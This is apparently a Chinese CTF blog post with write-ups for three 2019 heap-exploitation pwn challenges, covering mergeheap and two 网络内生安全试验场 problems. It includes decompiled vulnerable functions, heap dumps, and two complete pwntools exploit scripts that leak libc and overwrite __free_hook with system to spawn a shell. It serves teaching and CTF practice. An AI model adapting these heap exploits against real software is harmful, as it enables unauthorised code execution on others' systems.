登录后台

页面导航

本文编写于 377 天前,最后修改于 126 天前,其中某些信息可能已经过时。

2019护网杯 mergeheap

程序分析

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
1.add    //新建一个堆块
2.show    //展示堆块内容
3.dele    //删除一个堆块
4.merge    //合并两个堆块内容
5.exit    //退出

在merge找到了漏洞

int merge()
{
  int v1; // ST1C_4
  signed int i; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]
  int v4; // [rsp+10h] [rbp-10h]

  for ( i = 0; i <= 14 && list[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("idx1:");
  v3 = sub_B8B();
  if ( v3 < 0 || v3 > 14 || !list[v3] )
    return puts("invalid");
  printf("idx2:");
  v4 = sub_B8B();
  if ( v4 < 0 || v4 > 14 || !list[v4] )
    return puts("invalid");
  v1 = len[v3] + len[v4];
  list[i] = malloc(v1);
  strcpy(list[i], list[v3]);
  strcat(list[i], list[v4]);
  len[i] = v1;
  return puts("Done");
}

merge这里的strcpy跟strcat都是遇到x00结束的,所以,我们如果将下一个堆块的pre_size当数据段来用的话,就可以复制到size部分,merge的时候会覆盖到下一个堆块的size,溢出覆盖size

delete函数:

int dele()
{
  _DWORD *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("idx:");
  v2 = sub_B8B();
  if ( v2 >= 0 && v2 <= 14 && list[v2] )
  {
    free(list[v2]);
    list[v2] = 0LL;
    v0 = len;
    len[v2] = 0;
  }
  else
  {
    LODWORD(v0) = puts("invalid");
  }
  return v0;
}

free过后,堆块内容未清空,也就是说,我们申请一个堆块,然后free掉,在申请到这个堆块时候,就可以查看原来堆块的内容

漏洞利用

这道题可以在buuoj上复现

这里需要先填满tcache,并利用unsortedbins泄露出libc地址

直接for循环暴力填充满七个tcache

from pwn import *
context.log_level = 'debug'
elf = ELF('./mergeheap')
# libc = elf.libc
libc = ELF('./libc-2.27.so')
# p = process('./mergeheap')
p = remote('node3.buuoj.cn',28789)
 
# gdb.attach(p,'pie b*0xDEA')  #free
# gdb.attach(p,'pie b*0xD6B') #show
# gdb.attach(p,'pie b*0xC74') #add
# gdb.attach(p,'pie b*0x1018') #merge  strcat
# gdb.attach(p,'pie b*0xFDD') #merge strcpy
 
def add(size,content):
    p.sendlineafter('>>','1')
    p.sendlineafter('len:',str(size))
    if size != 0:
        p.sendlineafter('content:',str(content))
 
def show(index):
    p.sendlineafter('>>','2')
    p.sendlineafter('idx:',str(index))
 
def delete(index):
    p.sendlineafter('>>','3')
    p.sendlineafter('idx:',str(index))
 
def merge(idx1,idx2):
    p.sendlineafter('>>','4')
    p.sendlineafter('idx1:',str(idx1))
    p.sendlineafter('idx2:',str(idx2))
 
offset_local = 0x3ebc40
offset_remote = 0x3ebc40
 
for i in range(8):
    add(0x80,str(i))
add(0x10,'8')
for i in range(8):
    delete(i)
for i in range(7):
    add(0x80,str(i))   #unsorted_bin have 0x90
add(0,'fake7')         #unsorted_bin sub 0x20   -> 0x70
show(7)
 
main_arena = u64(p.recv(6).ljust(8,'\x00'))-0xe0
libc_db = main_arena - offset_remote
free_hook = libc_db + libc.sym['__free_hook']
system = libc_db + libc.sym['system']
log.info('libc is '+hex(libc_db))
log.info('free is '+hex(free_hook))
 
add(0,'9')      #fd have written  #unsorted_bin sub 0x20   ->  0x50
add(0x28,'10'*0x10+'\x60'*3)     #unsorted_bin sub 0x30   ->  0x20
add(0x28,'11')  # 12 11(0x30) 13(0x40) 14 (0x20) edit 13's size       
add(0x10,'12')  #0x20            
add(0x30,'13')  #0x40
add(0x10,'14')
delete(11)  #merge to 11
merge(9,10) #edit 12 size
 
delete(8)   #0x20
delete(13)  #fake 0x60 malloc(0x50)
delete(14)  #     0x20 malloc(0x10)  
payload = 'a'*0x30+p64(0)+p64(0x21)+p64(free_hook)
add(0x50,payload) #13  addr write to 8
 # 14 -> fake
add(0x10,'/bin/sh\x00') #14 addr write to 13
add(0x10,p64(system))
 
delete(13)
p.interactive()

2019 网络内生安全试验场 pwn1

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

4好像没什么用..

1 . Create one life 
2 . Display all life 
3 . Destroy one life 
4 . Destroy Everything 
5 . Leave 

delete函数free后未置空指针

int delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( lifecount )
  {
    printf("Which life do you want to remove: ");
    __isoc99_scanf("%d", &v1);
    if ( v1 > 0x63 || !*(&lifelist + v1) )
    {
      puts("Invalid choice");
      return 0;
    }
    **(&lifelist + v1) = 0;
    free(*(*(&lifelist + v1) + 1));
    puts("Successful , God !");
  }
  else
  {
    puts("No life in this lonely planet~ ");
  }
  return puts("\n");
}

内存里具体分布情况

0x603000 FASTBIN {
  prev_size = 0, 
  size = 49, 
  fd = 0x1, 
  bk = 0x603450, 
  fd_nextsize = 0x6868,     //The level of this life (High/Low) :hh
  bk_nextsize = 0x0
}
0x603030 PREV_INUSE {
  prev_size = 0, 
  size = 1041, 
  fd = 0xa6868,     //The level of this life (High/Low) :hh
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603440 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0xa61,     //The name of this life :a
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20ba1
}
0x603460 PREV_INUSE {
  prev_size = 0, 
  size = 134049, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

2019 网络内生安全试验场 pwn2

程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
1. new
2. delete
3. show
4. record
5. exit

record函数存在漏洞,read存在溢出

unsigned __int64 record()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("record which?");
  __isoc99_scanf("%d", &v1);
  if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("content?");
    read(0, buf[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

漏洞利用

unlink的方法

exp:

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
io = process('./pwn2')
elf=ELF('pwn2')
libc = elf.libc
def add(size):
    io.sendlineafter("your choice :\n", "1")
    io.sendlineafter("please input the size :\n", str(size))

def delete(idx):
    io.sendlineafter("your choice :\n", "2")
    io.sendlineafter("delete which ?\n",str(idx))

def show(idx):
    io.sendlineafter("your choice :\n", "3")
    io.sendlineafter("show which ?\n", str(idx))

def record(idx, content):
    io.sendlineafter("your choice :\n", "4")
    io.sendlineafter("record which?\n", str(idx))
    io.sendlineafter("content?\n", content)

def exit():
    io.sendlineafter("your choice :\n", "5")
ptr = 0x6020c0
add(0x40)
add(0x80)
add(0x40)
add(0x40)

payload = p64(0) + p64(0x40) + p64(ptr-0x18) + p64(ptr-0x10)
payload = payload.ljust(0x40)
payload += p64(0x40)
payload += p64(0x90)
record(0, payload)

record(1, "1"*0x10)
delete(1)
#show(0)

payload = 'a'*0x18 + p64(0x6020c8+0x8) + p64(0) + p64(elf.got['puts'])
record(0, payload)
gdb.attach(io)
show(2)
io.recvuntil("the content is :")
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, '\x00'))
io.success("puts_addr: 0x%x" % puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
free_hook = libc_base + libc.symbols['__free_hook']

record(3, "/bin/sh")
record(0, p64(free_hook))
record(2, p64(system_addr))
delete(3)

io.interactive()